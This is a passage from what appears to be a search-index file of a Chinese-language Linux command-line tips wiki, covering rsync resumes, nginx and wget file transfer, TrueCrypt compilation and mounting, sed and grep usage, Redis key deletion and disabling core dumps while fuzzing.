-l4</code>\\u8868\\u793a\\u540c\\u65f6\\u6267\\u884c5\\u4e2a\\u7f16\\u8bd1\\u4f46\\u9650\\u5236\\u7cfb\\u7edf\\u8d1f\\u8f7d&lt;4\\uff08\\u56e0\\u4e3a\\u7f16\\u8bd1\\u8fc7\\u7a0b\\u5f88\\u6162\\uff0c\\u76f4\\u63a5make\\u53ea\\u4f1a\\u4f7f\\u75281\\u4e2aCPU\\uff0c\\u8fd9\\u6837\\u8bbe\\u7f6e\\u540e\\u53ef\\u4ee5\\u5145\\u5206\\u5229\\u7528\\u6811\\u8393\\u6d3e4\\u6838\\u5fc3CPU\\uff09\\uff1a</p> <p>\\u6d89\\u53ca\\u7684\\u538b\\u7f29\\u5305truecrypt-targz.zip\\uff0cwxWidgets-2.8.11.zip\\uff0cpkcs.zip</p> <pre><code>apt-get install -y unzip build-essentials pkg-config gtk2.0-dev libfuse-dev\\n#\\u7528unzip\\u89e3\\u538b\\u538b\\u7f29\\u5305\\uff0c\\u90fd\\u89e3\\u538b\\u5230/root\\u4e0b\\uff0c\\u76ee\\u5f55\\u7ed3\\u6784\\uff1a\\n# /root\\n#  | - truecrypt-targz\\n#  | - wxWidgets-2.8.11\\n#  | - pkcs\\n\\ncd wxWidgets-2.8.11\\n./configure\\nmake -j5 -l4 #\\u7279\\u522b\\u6162\\uff0c\\u8010\\u5fc3\\u7b49\\u5f85\\nmake -j5 -l4 install\\n\\ncd ../truecrypt-targz\\nexport PKCS11_INC=/root/pkcs/\\nmake -j5 -l4 NOGUI=1 WX_ROOT=/root/wxWidgets-2.8.11 wxbuild\\nmake -j5 -l4 NOGUI=1 WXSTATIC=1\\n\\nMain/truecrypt --version #\\u8f93\\u51faTrueCrypt 7.1a\\ncp Main/truecrypt /usr/local/bin/\\n</code></pre> <p>\\u4f60\\u4e5f\\u53ef\\u4ee5\\u4e0b\\u8f7d\\u6211\\u5df2\\u7ecf\\u7f16\\u8bd1\\u597d\\u7684\\u7248\\u672ctruecrypt-armv7l</p>\"},{\"location\":\"Linux-cli/#scp\",\"title\":\"scp\\u76ee\\u5f55\\u65ad\\u70b9\\u7eed\\u4f20\",\"text\":\"<p>\\u6b63\\u5728\\u62f7\\u8d1d\\u76ee\\u5f55\\u7684\\u65f6\\u5019\\u88ab\\u4e2d\\u65ad\\u4e86\\uff08\\u4f8b\\u5982mount.ntfs\\u5361\\u6b7b\\uff09\\uff0c\\u800cscp\\u4e0d\\u80fd\\u8df3\\u8fc7\\u5df2\\u7ecf\\u5b58\\u5728\\u7684\\u6587\\u4ef6\\u3001\\u53ea\\u4f1a\\u8986\\u76d6\\uff1b\\u5982\\u679c\\u7528rsync\\u5b8c\\u5168\\u65ad\\u70b9\\u7eed\\u4f20\\u4f3c\\u4e4e\\u4f1a\\u6821\\u9a8c\\u6587\\u4ef6\\uff0c\\u592a\\u6162</p> <p>\\u65b9\\u6cd5\\u662f\\uff1a\\u5220\\u6389\\u4e2d\\u65ad\\u65f6\\u6b63\\u5728\\u62f7\\u8d1d\\u7684\\u4e0d\\u5b8c\\u6574\\u6587\\u4ef6\\uff0c\\u4f7f\\u7528\\u4e0b\\u8ff0\\u547d\\u4ee4\\u6765\\u8df3\\u8fc7\\u5df2\\u7ecf\\u5b58\\u5728\\u7684\\u6587\\u4ef6\\uff1a</p> <p>\\u5047\\u8bbe\\u8981\\u628a\\u8fdc\\u7a0b\\u76ee\\u5f55/path/\\u8fd9\\u4e2a\\u6587\\u4ef6\\u5939\\u6574\\u4e2a\\u62f7\\u8d1d\\u5230/mnt/\\u4e0b\\uff08\\u4e5f\\u5c31\\u662f\\u5185\\u5bb9\\u62f7\\u8d1d\\u5230/mnt/path/\\u4e0b\\uff09</p> <pre><code>rsync --progress -v -au username@host:\\\"'/path'\\\" /mnt/\\n</code></pre> <p>\\u6ce8\\u610f\\u6e90\\u8def\\u5f84/path\\u540e\\u9762\\u4e0d\\u80fd\\u6709/\\uff0c\\u5426\\u5219rsync\\u4e0d\\u4f1a\\u521b\\u5efa/mnt/path\\u8fd9\\u4e2a\\u6587\\u4ef6\\u5939\\uff1b/path\\u88ab\\u4e24\\u5c42\\u5f15\\u53f7\\u5305\\u56f4\\u662f\\u4e3a\\u4e86\\u652f\\u6301\\u542b\\u6709\\u7a7a\\u683c\\u7684\\u6587\\u4ef6\\u5939\\u540d\\u79f0\\uff0c\\u4e00\\u5c42\\u662f\\u672c\\u5730\\u547d\\u4ee4\\uff0c\\u8fdc\\u7a0b\\u76ee\\u5f55\\u4e5f\\u8981\\u4e00\\u5c42</p> <p>rsync\\u7684<code>--progress -v</code>\\u53c2\\u6570\\u8868\\u793a\\u663e\\u793a\\u5f53\\u524d\\u8fdb\\u5ea6\\u548c\\u66f4\\u591a\\u5185\\u5bb9\\uff0c<code>-a</code>\\u8868\\u793aarchive\\u9012\\u5f52\\u5e76\\u5c3d\\u53ef\\u80fd\\u539f\\u6837\\u4fdd\\u7559\\u6240\\u6709\\u4fe1\\u606f\\uff0c<code>-u</code>\\u8868\\u793a\\u8df3\\u8fc7\\u5df2\\u7ecf\\u5b58\\u5728\\u7684\\u6587\\u4ef6</p> <p>\\u67e5\\u770bman\\u6587\\u6863 explainshell.com</p>\"},{\"location\":\"Linux-cli/#wgetscp\",\"title\":\"\\u4f7f\\u7528wget\\u4ee3\\u66ffscp\\u4f20\\u8f93\\u6587\\u4ef6\\u5939 \\u907f\\u514d\\u65e0\\u8c13\\u7684\\u52a0\\u5bc6\\u6027\\u80fd\\u635f\\u5931\\uff08\\u9002\\u7528\\u4e8e\\u6811\\u8393\\u6d3e\\uff09\",\"text\":\"<p>\\u5728\\u5185\\u7f51\\u4f20\\u8f93\\u975e\\u654f\\u611f\\u6570\\u636e\\u65f6\\uff0c\\u6ca1\\u6709\\u5fc5\\u8981\\u4f7f\\u7528scp\\uff08\\u57fa\\u4e8essh\\uff09\\u7684\\u5b89\\u5168\\u4f20\\u8f93\\uff0c\\u5c24\\u5176\\u662f\\u6811\\u8393\\u6d3e\\u8fd9\\u79cd\\u8ba1\\u7b97\\u6027\\u80fd\\u6709\\u9650\\u7684\\u60c5\\u5f62\\u3002\\u4f7f\\u7528HTTP\\u80fd\\u6709\\u6548\\u52a0\\u901f\\u4f20\\u8f93\\u8fc7\\u7a0b\\uff0c\\u4e14\\u90e8\\u7f72\\u7b80\\u5355\\uff0c\\u76f8\\u6bd4\\u914d\\u7f6e\\u590d\\u6742\\u7684vsftpd\\u53ef\\u4ee5\\u8bf4\\u662f\\u5f88\\u7b80\\u5355\\u4e86</p>\"},{\"location\":\"Linux-cli/#_10\",\"title\":\"\\u670d\\u52a1\\u7aef\\uff08\\u6570\\u636e\\u4f20\\u51fa\\u7aef\\uff09\",\"text\":\"<p>\\u4f7f\\u7528nginx\\u914d\\u7f6e\\u5141\\u8bb8\\u5217\\u76ee\\u5f55\\u5373\\u53ef\\uff0c\\u5728/etc/nginx/sites-enabled/\\u4e0b\\u6dfb\\u52a0\\u4e00\\u4e2a\\u6587\\u4ef6\\uff1a</p> <pre><code>server{\\n    listen 8080;\\n    root /path/to/your/dir;\\n    autoindex on;\\n    autoindex_exact_size off;\\n    autoindex_localtime on;\\n}\\n</code></pre> <p>\\u5982\\u679c\\u4f60\\u4e0d\\u5177\\u6709root\\u6743\\u9650\\uff0c\\u53ef\\u4ee5\\u590d\\u5236\\u4e00\\u4efdnginx.conf\\uff0c\\u4fee\\u6539\\u5176\\u4e2d\\u51fa\\u73b0\\u7684\\u6240\\u6709\\u4f60\\u6ca1\\u6709\\u6743\\u9650\\u4fee\\u6539\\u7684\\u6587\\u4ef6\\u8def\\u5f84\\uff0c\\u4f8b\\u5982access_log\\uff0c\\u7136\\u540e\\u4f7f\\u7528<code>nginx -c /home/yourname/nginx.conf</code>\\uff08\\u6ce8\\u610f\\u5fc5\\u987b\\u7edd\\u5bf9\\u8def\\u5f84\\uff09\\u542f\\u52a8\\u4f60\\u7684nginx\\uff0c\\u6ca1\\u6709\\u51fa\\u73b0EMRG\\u9519\\u8bef\\u5373\\u4e3a\\u542f\\u52a8\\u6210\\u529f\\uff08\\u53ef\\u4ee5\\u4f7f\\u7528netstat -pant\\u89c2\\u5bdf\\u662f\\u5426\\u6210\\u529f\\u76d1\\u542c\\u7aef\\u53e3\\uff09</p>\"},{\"location\":\"Linux-cli/#wget_1\",\"title\":\"\\u5ba2\\u6237\\u7aef\\uff08\\u6570\\u636e\\u4f20\\u5165\\u7aef\\uff09\\uff0c\\u4f7f\\u7528wget\\uff1a\",\"text\":\"<pre><code>alias myget='wget -r -np -nH -R index.html --restrict-file-names=nocontrol  -p -N -l0 -e robots=off --read-timeout=20 --tries=0'\\ncd /mnt #\\u4e0b\\u8f7d\\u5230\\u54ea\\nmyget http://server_IP:8080/yourdir #\\u76f8\\u5f53\\u4e8e\\u5c06yourdir\\u590d\\u5236\\u5230\\u5f53\\u524d\\u6587\\u4ef6\\u5939\\n</code></pre> <p>\\u53c2\\u6570\\u8bf4\\u660e\\uff1a</p> <p>-r \\u9012\\u5f52\\u4e0b\\u8f7d\\uff0c-np\\u4e0d\\u8981\\u8fdb\\u5165\\u7236\\u76ee\\u5f55\\uff0c-nH\\u4e0d\\u8981\\u521b\\u5efahost\\u6587\\u4ef6\\u5939\\uff0c-R index.html\\u4e0d\\u8981\\u4fdd\\u5b58\\u6587\\u4ef6\\u5217\\u8868\\u7684index.html\\uff0c\\u2013restrict-file-names=nocontrol\\u4e0d\\u8981\\u4e71\\u6539\\u4e2d\\u6587\\u6587\\u4ef6\\u540d</p> <p>-p \\u8981\\u4e0b\\u8f7d\\u56fe\\u7247\\uff0c-N \\u4f7f\\u7528\\u6d4f\\u89c8\\u5668304\\u7684\\u65b9\\u5f0f\\u907f\\u514d\\u91cd\\u590d\\u4e0b\\u8f7d\\uff0c-l0\\u9012\\u5f52\\u5c42\\u6570\\u4e0d\\u9650\\u5236\\uff0c-e robots=off\\u4e0d\\u68c0\\u67e5robots.txt</p> <p>\\u2013read-timeout=20 \\u5982\\u679c20s\\u4e4b\\u5185\\u6ca1\\u6709\\u6570\\u636e\\u4f20\\u8f93\\u5219\\u8ba4\\u4e3a\\u5931\\u8d25\\u8fdb\\u884c\\u91cd\\u8bd5\\uff0c\\u2013tries=0\\u65e0\\u9650\\u6b21\\u91cd\\u8bd5</p> <p>\\u67e5\\u770bman\\u6587\\u6863</p>\"},{\"location\":\"Linux-cli/#sshd\",\"title\":\"\\u6e05\\u9664\\u5df2\\u7ecf\\u65ad\\u5f00\\u7684sshd\\u8fdb\\u7a0b\",\"text\":\"<p>\\u5982\\u679c\\u4f60\\u53d1\\u73b0ps aux\\u6216netstat -pant\\u8f93\\u51fa\\u4e86\\u5927\\u91cfsshd\\u7684\\u4fe1\\u606f\\uff0c\\u8bf4\\u660e\\u4e4b\\u524dssh\\u8fde\\u63a5\\u65ad\\u5f00\\u540esshd\\u5e76\\u6ca1\\u6709\\u9000\\u51fa\\u800c\\u662f\\u4e00\\u76f4\\u5360\\u7528\\u5185\\u5b58</p> <p>\\u6211\\u4eec\\u53ef\\u4ee5\\u6e05\\u9664\\u6389\\u8fd9\\u4e9b\\u8fdb\\u7a0b\\u6765\\u91ca\\u653e\\u5185\\u5b58</p> <p>\\u9996\\u5148\\u901a\\u8fc7<code>pstree -p</code>\\u6765\\u67e5\\u770b\\u5f53\\u524d\\u4f60\\u7684ssh\\u4f1a\\u8bdd\\u7684sshd\\u8fdb\\u7a0bPID\\uff0c\\u4f8b\\u5982\\u8f93\\u51fa\\u4e86\\u8fd9\\u6837\\u4e00\\u884c\\uff1a</p> <pre><code>\\u251c\\u2500sshd(32275)\\u2500\\u2500\\u2500bash(32413)\\u2500\\u2500\\u2500pstree(6543)\\n</code></pre> <p>\\u5219\\u8bf4\\u660e\\u5f53\\u524dsshd\\u7684pid\\u4e3a32275\\uff0c\\u7136\\u540e\\u6267\\u884c\\u4e0b\\u9762\\u8fd9\\u6761\\u547d\\u4ee4\\u6765kill -9\\u5176\\u4ed6\\u6240\\u6709\\u7684sshd\\u8fdb\\u7a0b\\uff1a</p> <pre><code>ps -ef | grep sshd | grep -v 32275 | grep -v grep | awk '{print \\\"kill -9\\\", $2}' |sh\\n</code></pre> <p>Hint: \\u5982\\u679c\\u5f53\\u524d\\u4e3b\\u673a\\u8fd8\\u8fd0\\u884c\\u7740Docker\\u5bb9\\u5668\\uff0c\\u5982\\u679c\\u5bb9\\u5668\\u7684\\u5b88\\u62a4\\u8fdb\\u7a0b\\u662fsshd\\uff0c\\u4e0a\\u4e00\\u6761\\u547d\\u4ee4\\u53ef\\u80fd\\u4f7f\\u5bb9\\u5668\\u9000\\u51fa\\uff1b\\u6240\\u4ee5\\u4f60\\u8fd8\\u9700\\u8981<code>docker top</code>\\u6765\\u786e\\u5b9a\\u5bb9\\u5668\\u7684sshd\\u5728\\u4e3b\\u673a\\u4e0a\\u7684pid\\u53f7</p>\"},{\"location\":\"Linux-cli/#_11\",\"title\":\"\\u6279\\u91cf\\u66ff\\u6362\\u6587\\u672c\",\"text\":\"<p>\\u4f8b\\u5982\\u6279\\u91cf\\u9012\\u5f52\\u66ff\\u6362\\u5f53\\u524d\\u6587\\u4ef6\\u5939\\u53ca\\u5b50\\u6587\\u4ef6\\u5939\\u6240\\u6709php\\u6587\\u4ef6\\uff0c\\u5c06\\u5176\\u4e2d\\u7684\\u201daha/666\\u201d\\u6539\\u4e3a\\u201dovo/999\\u201d</p> <p>\\u547d\\u4ee4\\u5982\\u4e0b\\uff1a</p> <pre><code>find . -type f -name \\\"*.php\\\" -exec sed -i 's~aha/666~ovo/999~g' {} +\\n</code></pre> <p>\\u5176\\u4e2dsed -i\\u539f\\u4f4d\\u66ff\\u6362\\u7528\\u7684\\u5206\\u9694\\u7b26\\u7531\\u4e8e\\u66ff\\u6362\\u524d\\u540e\\u5b57\\u7b26\\u4e32\\u4e2d\\u51fa\\u73b0\\u4e86/\\uff0c\\u6240\\u4ee5\\u4e0d\\u80fd\\u7528\\u7ecf\\u5178\\u7684/\\uff0c\\u800c\\u6539\\u7528~</p>\"},{\"location\":\"Linux-cli/#_12\",\"title\":\"\\u627e\\u5230\\u6700\\u8fd1\\u4fee\\u6539\\u7684\\u6587\\u4ef6\",\"text\":\"<p>\\u4f8b\\u5982wget\\u9012\\u5f52\\u4e0b\\u8f7d\\uff0c\\u4e2d\\u9014\\u88ab\\u4e2d\\u65ad\\u4e86\\uff0c\\u6062\\u590d\\u7684\\u65f6\\u5019\\u4e0e\\u5176\\u6bcf\\u4e2a\\u6587\\u4ef6\\u90fd\\u8bf7\\u6c42\\u4e00\\u6b21\\u4e0d\\u5982\\u76f4\\u63a5\\u8df3\\u8fc7\\u5df2\\u7ecf\\u5b58\\u5728\\u7684\\u6587\\u4ef6</p> <p>\\u90a3\\u5c31\\u9700\\u8981\\u627e\\u5230\\u4e2d\\u65ad\\u7684\\u65f6\\u5019\\u6b63\\u5728\\u5199\\u5165\\u54ea\\u4e2a\\u6587\\u4ef6\\uff0c\\u5220\\u6389\\u8fd9\\u4e2a\\u6587\\u4ef6\\u7ee7\\u7eed</p> <p>\\u8fd9\\u4e2a\\u547d\\u4ee4\\u53ef\\u4ee5\\u4ee5\\u65f6\\u95f4\\u987a\\u5e8f\\u663e\\u793a\\u5f53\\u524d\\u6587\\u4ef6\\u5939\\u53ca\\u5b50\\u6587\\u4ef6\\u5939\\u6587\\u4ef6\\uff0c\\u65b0\\u6587\\u4ef6\\u663e\\u793a\\u5728\\u6700\\u524d\\u9762</p> <pre><code>find . -type f -printf '%TY-%Tm-%Td %TT %p\\\\n' | sort -r|less\\n</code></pre>\"},{\"location\":\"Linux-cli/#cryptsetuptruecrypt\",\"title\":\"\\u4f7f\\u7528cryptsetup\\u6302\\u8f7dtruecrypt\\u5206\\u533a\",\"text\":\"<p>\\u5728ubuntu 16.04\\u4e2d\\u7f16\\u8bd1truecrypt 7.1a\\u8fd0\\u884c\\u65f6\\u51fa\\u73b0\\u9519\\u8bef\\uff1a<code>error: Invalid characters encountered.</code></p> <p>\\u5728\\u8fd9\\u4e2a\\u94fe\\u63a5\\u4e0a\\u627e\\u5230\\u4e86\\u7b54\\u6848\\uff08\\u611f\\u8c22\\u5728\\u5176\\u4ed6\\u8bba\\u575b\\u627e\\u5230\\u7b54\\u6848\\u540e\\u4e3b\\u52a8\\u63d0\\u4f9b\\u89e3\\u51b3\\u65b9\\u6848\\u7684Jakub Urbanowicz\\uff09</p> <p>https://bugs.archlinux.org/task/47325 \\u539f\\u8d34\\u5730\\u5740\\uff08\\u641c\\u7d22cryptsetup\\uff09\\uff1ahttps://forums.gentoo.org/viewtopic-p-7809512.html</p> <p>\\u65b9\\u6cd5\\u662f\\uff1a</p> <pre><code>sudo su #\\u4ee5\\u4e0b\\u547d\\u4ee4\\u90fd\\u8981root\\u6743\\u9650\\uff0c\\u5982\\u679c\\u5728Docker\\u5bb9\\u5668\\u4e2d\\u5c1d\\u8bd5 \\u542f\\u52a8\\u5bb9\\u5668\\u65f6\\u9700\\u8981--privileged\\n# \\u5148\\u5b89\\u88c5cryptsetup\\napt install -y cryptsetup-bin\\n\\n# \\u6302\\u8f7d\\uff0c\\u6ce8\\u610ftype\\u524d\\u9762\\u662f\\u4e24\\u4e2a\\u6a2a\\u7ebf\\uff0c\\u6587\\u4ef6\\u8def\\u5f84\\u53ef\\u4ee5\\u662f/dev/sdb1\\uff0c\\u540d\\u79f0\\u968f\\u4fbf\\u586b\\ncryptsetup open --type tcrypt truecrypt\\u6587\\u4ef6\\u8def\\u5f84 \\u540d\\u79f0\\n\\n# \\u7136\\u540emount\\u6302\\u8f7d\\nmount /dev/mapper/\\u540d\\u79f0 \\u6302\\u8f7d\\u70b9\\n\\n# \\u5378\\u8f7d\\u7684\\u65f6\\u5019\\u8bb0\\u5f97close\\uff0c\\u90fd\\u8fd8\\u662f\\u8981root\\u6743\\u9650\\numount \\u6302\\u8f7d\\u70b9\\ncryptsetup close \\u540d\\u79f0\\n</code></pre>\"},{\"location\":\"Linux-cli/#_13\",\"title\":\"\\u4ece\\u4e8c\\u8fdb\\u5236\\u6587\\u4ef6\\u4e2d\\u63d0\\u53d6\\u7247\\u6bb5\",\"text\":\"<p>\\u7528binwalk\\u53d1\\u73b0\\u9700\\u8981\\u7684\\u7247\\u6bb5\\u7684\\u8d77\\u59cb\\u4f4d\\u70b9\\uff0c\\u4ee5\\u53ca\\u8ba1\\u7b97\\u51fa\\u957f\\u5ea6</p> <p>binwalk\\u76f4\\u63a5-e\\u6709\\u65f6\\u5019\\u5c31\\u80fd\\u6ee1\\u8db3\\u9700\\u6c42\\uff0c\\u4f46\\u5982\\u679c\\u662fexe\\u6587\\u4ef6 exe\\u672c\\u8eab\\u53ef\\u80fd\\u88ab\\u62c6\\u6210\\u591a\\u4e2a\\u6587\\u4ef6 \\u5982\\u4e00\\u5806\\u8bc1\\u4e66\\uff0c\\u8fd9\\u65f6\\u5019\\u53ef\\u4ee5</p> <pre><code>binwalk -D 'exe' \\u6587\\u4ef6\\u540d\\n</code></pre> <p>\\u6216\\u8005\\u7528dd\\uff0c\\u6ce8\\u610f\\u522b\\u7528bs=1 \\u592a\\u6162\\uff1a</p> <pre><code>dd if=input.binary of=output.binary skip=$offset count=$bytes iflag=skip_bytes,count_bytes\\n</code></pre> <p>From: https://stackoverflow.com/questions/1423346/how-do-i-extract-a-single-chunk-of-bytes-from-within-a-file</p> <p>\\u5982\\u679c\\u7701\\u7565\\u6389count\\u5c31\\u662f\\u4e00\\u76f4\\u5230\\u672b\\u5c3e</p>\"},{\"location\":\"Linux-cli/#redis\",\"title\":\"redis\\u5339\\u914d\\u524d\\u7f00\\u5220\\u9664\\u5927\\u91cf\\u952e\\u503c\",\"text\":\"<p>FROM: https://stackoverflow.com/questions/4006324/how-to-atomically-delete-keys-matching-a-pattern-using-redis</p> <p>\\u5220\\u9664\\u5f53\\u524d\\u6570\\u636e\\u5e93\\u4e2dprefix\\u5f00\\u5934\\u7684\\u6240\\u6709key\\uff1a</p> <pre><code>EVAL \\\"local keys = redis.call('keys', ARGV[1]) \\\\n for i=1,#keys,5000 do \\\\n redis.call('del', unpack(keys, i, math.min(i+4999, #keys))) \\\\n end \\\\n return keys\\\" 0 prefix*\\n</code></pre>\"},{\"location\":\"Linux-cli/#_14\",\"title\":\"\\u6279\\u91cf\\u66ff\\u6362\\u5b50\\u76ee\\u5f55\\u7279\\u5b9a\\u540e\\u7f00\\u540d\\u6587\\u4ef6\\u5185\\u5bb9\",\"text\":\"<p>\\u4f7f\\u7528<code>sed -i</code> \\u548c<code>find</code></p> <p>\\u4f8b\\u5982\\u672c\\u7ad9\\u7f16\\u8bd1\\u811a\\u672c\\u5728mkdocs\\u7f16\\u8bd1\\u540e\\u5bf9\\u6240\\u6709.html\\u6587\\u4ef6\\u6267\\u884c\\u66ff\\u6362\\uff0c\\u6539\\u7528\\u56fd\\u5185CDN</p> <pre><code>sed -i 's#cdnjs.cloudflare.com#cdnjs.loli.net#g' $(find -type f -name \\\"*.html\\\")\\nsed -i 's#fonts.googleapis.com#fonts.loli.net#g' $(find -type f -name \\\"*.html\\\")\\n</code></pre>\"},{\"location\":\"Linux-cli/#coredump-in-fuzzing\",\"title\":\"coredump in fuzzing\",\"text\":\"<p>\\u53c2\\u8003\\uff1a http://man7.org/linux/man-pages/man5/core.5.html</p> <p>\\u4e3a\\u5565afl\\u8981\\u6c42\\u6211\\u4eec<code>echo core &gt;/proc/sys/kernel/core_pattern</code> \\u5462\\uff1f fuzzing\\u65f6\\u600e\\u4e48\\u907f\\u514d\\u4ea7\\u751fcoredump\\u4ea7\\u751f\\u5927\\u91cfIO\\u6d6a\\u8d39\\u65f6\\u95f4\\uff1f</p>\"},{\"location\":\"Linux-cli/#core_pattern\",\"title\":\"core_pattern\\u662f\\u5565\",\"text\":\"<p>\\u8fd9\\u4e2a\\u6587\\u4ef6<code>/proc/sys/kernel/core_pattern</code>\\u662f\\u547d\\u540dcoredump\\u6587\\u4ef6\\u7684\\u6a21\\u677f\\uff0c\\u6bd4\\u5982\\u6539\\u4e3a<code>core</code>\\u4e4b\\u540e\\u4ea7\\u751f\\u7684coredump\\u6587\\u4ef6\\u5c31\\u53eb\\u505a<code>core</code></p> <p>\\u53e6\\u4e00\\u4e2a\\u6587\\u4ef6<code>/proc/sys/kernel/core_uses_pid</code> \\u5982\\u679c\\u662f1\\u7684\\u8bdd\\uff0c\\u8fd8\\u4f1a\\u52a0\\u4e0a<code>.pid</code></p>\"},{\"location\":\"Linux-cli/#coredump\",\"title\":\"\\u600e\\u4e48\\u624d\\u80fd\\u4e0d\\u4ea7\\u751fcoredump\",\"text\":\"<p>\\u5168\\u5c40\\u5173\\u95ed\\uff1a</p> <pre><code>echo &gt;/proc/sys/kernel/core_pattern\\necho 0 &gt;/proc/sys/kernel/core_uses_pid\\n</code></pre> <p>\\u8fd8\\u53ef\\u4ee5\\u5728\\u5f53\\u524d\\u76ee\\u5f55<code>mkdir core</code>\\uff0c\\u6709\\u4e86\\u540c\\u540d\\u6587\\u4ef6\\u5939\\u5c31\\u4e0d\\u4f1a\\u518d\\u5199core\\u6587\\u4ef6\\u4e86</p> <p>fuzzer\\u53ef\\u4ee5\\u7528rlimit\\u7684\\u529f\\u80fd\\u9650\\u5236\\u5b50\\u8fdb\\u7a0b\\uff1a</p> <p>\\u6587\\u6863\\u8bf4\\u4e86<code>RLIMIT_CORE</code>\\u8fd9\\u4e2a\\u9650\\u5236\\uff0c\\u53ea\\u8981\\u5b83\\u662f0\\u5c31\\u4e0d\\u4f1a\\u4ea7\\u751f\\u4e86\\uff0c\\u6bd4\\u5982AFL\\u7684\\u4ee3\\u7801\\uff1a</p> <pre><code>    /* Dumping cores is slow and can lead to anomalies if SIGKILL is delivered\\nbefore the dump is complete. */\\n\\nr.rlim_max = r.rlim_cur = 0;\\n\\nsetrlimit(RLIMIT_CORE, &amp;r); /* Ignore errors */\\n</code></pre> <p>\\u518d\\u6bd4\\u5982honggfuzz\\u7684\\u4ee3\\u7801\\uff08honggfuzz-1.7\\u5e76\\u6ca1\\u6709\\u8003\\u8651\\u8fd9\\u4e2a\\uff09\\uff1a</p> <pre><code>/* in cmdline.c */\\n{ { \\\"rlimit_core\\\", required_argument, NULL, 0x103 }, \\\"Per process RLIMIT_CORE in MiB (default: 0 [no cores are produced])\\\" },\\n\\n/* in subproc.c */\\n#ifdef RLIMIT_CORE\\nconst struct rlimit rl = {\\n.rlim_cur = run-&gt;global-&gt;exe.coreLimit * 1024ULL * 1024ULL,\\n.rlim_max = run-&gt;global-&gt;exe.coreLimit * 1024ULL * 1024ULL,\\n};\\nif (setrlimit(RLIMIT_CORE, &amp;rl) == -1) {\\nPLOG_W(\\\"Couldn't enforce the RLIMIT_CORE resource limit, ignoring\\\");\\n}\\n#endif /* ifdef RLIMIT_CORE */\\n</code></pre>\"},{\"location\":\"Linux-cli/#bash\",\"title\":\"bash\\u5bf9\\u6587\\u4ef6\\u4e71\\u5e8f\\u904d\\u5386\",\"text\":\"<pre><code>shuf filename|while read line; do python3 run.py \\\"$line\\\"; done\\n</code></pre>\"},{\"location\":\"Linux-cli/#grep_1\",\"title\":\"grep\\u67e5\\u627e\\u4e2d\\u6587\",\"text\":\"<pre><code>ls /tmp/test | grep -P '[\\\\p{Han}]' \\n</code></pre> <p>\\u53c2\\u8003 https://www.regular-expressions.info/unicode.html#script</p>\"},{\"location\":\"Linux-cli/#grep_2\",\"title\":\"grep\\u6b63\\u5219\\u63d0\\u53d6\\u7279\\u5b9a\\u5185\\u5bb9\",\"text\":\"<p>\\u573a\\u666f\\uff1afuzzing lava \\u6d4b\\u8bd5\\u96c6\\uff0c\\u505a\\u4e8630\\u6b21\\u91cd\\u590d\\uff08\\u6bcf\\u6b21\\u91cd\\u590d\\u6587\\u4ef6\\u5939\\u540d\\u79f0\\u672b\\u5c3e\\u4e3a<code>_\\u91cd\\u590d</code>\\uff09\\uff0c\\u5df2\\u7ecf\\u5c06crash\\u8fd0\\u884c\\u5f97\\u5230\\u7684stdout\\u548cstderr\\u5b58\\u50a8\\u4e3a\\u6587\\u4ef6\\uff0c\\u60f3\\u7edf\\u8ba1\\u6bcf\\u6b21\\u91cd\\u590d\\u89e6\\u53d1\\u4e86\\u591a\\u5c11bugid</p> <p>\\u6362\\u53e5\\u8bdd\\u8bf4\\uff0c\\u5df2\\u77e5\\u5f53\\u524d\\u6587\\u4ef6\\u5939\\u4e0b\\u6709\\u4e00\\u4e9b\\u53ef\\u80fd\\u88ab\\u5f53\\u6210\\u4e8c\\u8fdb\\u5236\\u7684\\u6587\\u672c\\u6587\\u4ef6\\uff0c\\u5305\\u542b<code>Successfully triggered bug 576, crashing now!</code>\\uff0c\\u6211\\u60f3\\u5c06\\u5176\\u4e2d\\u7684576\\u63d0\\u53d6\\u51fa\\u6765\\uff0c\\u7136\\u540e\\u5bf9\\u6574\\u4e2a\\u6587\\u4ef6\\u5939\\u8ba1\\u6570</p> <p>\\u6ce8\\u610fgrep\\u7684\\u65f6\\u5019\\u4e00\\u5b9a\\u8981\\u2013text\\uff0c\\u4e0d\\u7136\\u4f1a\\u6f0f\\u6389\\u4e00\\u4e9b\\u6587\\u4ef6</p> <p>\\u7528\\u5230\\u4e86grep\\u7684\\u6b63\\u5219\\u63d0\\u53d6\\uff0c\\u524d\\u7f6e\\u5224\\u65ad\\u7528<code>(?&lt;=\\u6587\\u672c)</code>\\uff0c\\u540e\\u7f6e\\u5224\\u65ad\\u7528<code>(?=\\u6587\\u672c)</code>\\uff0c\\u4f8b\\u5982\\u63d0\\u53d6<code>aaa123bbb</code>\\u4e2d\\u7684123\\u5c31\\u53ef\\u4ee5\\uff1a<code>echo aaa123bbb|grep -P '(?&lt;=aaa)\\\\d+(?=bbb)' -o</code></p> <p>\\u5176\\u4e2d<code>-P</code>\\u8868\\u793a\\u6b63\\u5219\\u8bed\\u6cd5\\u4e3aPerl\\uff0c<code>-o</code>\\u8868\\u793a\\u53ea\\u663e\\u793a\\u5339\\u914d</p> <p>\\u53c2\\u8003\\uff1a https://unix.stackexchange.com/questions/13466/can-grep-output-only-specified-groupings-that-match</p> <pre><code>for i in `seq 1 1 30`; do if [ -d *_${i}/ ]; then (cd *_${i}; echo $i `grep 'Successfully triggered bug' -r . --text \\\\\\n             | grep -P '(?&lt;=bug )(\\\\d+)(?=,)' -o \\\\\\n             |sort| uniq|wc -l` ); else echo ${i} 0; fi; \\ndone\\n</code></pre>\"},{\"location\":\"Linux-cli/#kill\",\"title\":\"\\u81ea\\u52a8kill\\u5927\\u5185\\u5b58\\u7684\\u8fdb\\u7a0b\",\"text\":\"<p>\\u5217\\u4e3e\\u6240\\u6709\\u8fdb\\u7a0b\\uff0c\\u627e\\u51fa\\u5185\\u5b58\\u8d85\\u8fc75%\\u7684\\uff0ckill\\u6389</p> <p>\\u6ce8\\u610f\\u5230sort\\u6bd4\\u8f83\\u6570\\u5b57\\u5927\\u5c0f\\u9700\\u8981\\u7528<code>-h</code>\\u6216\\u8005<code>-V</code>\\uff0c\\u5426\\u5219\\u4f1a\\u51fa\\u73b0<code>3&gt;20</code>\\u7684\\u6bd4\\u8f83\\u7ed3\\u679c\\uff08\\u5b57\\u7b26\\u4e32\\u6bd4\\u8f83\\uff09</p> <p>\\u7531\\u4e8e<code>[ \\\"$num\\\" -gt 5 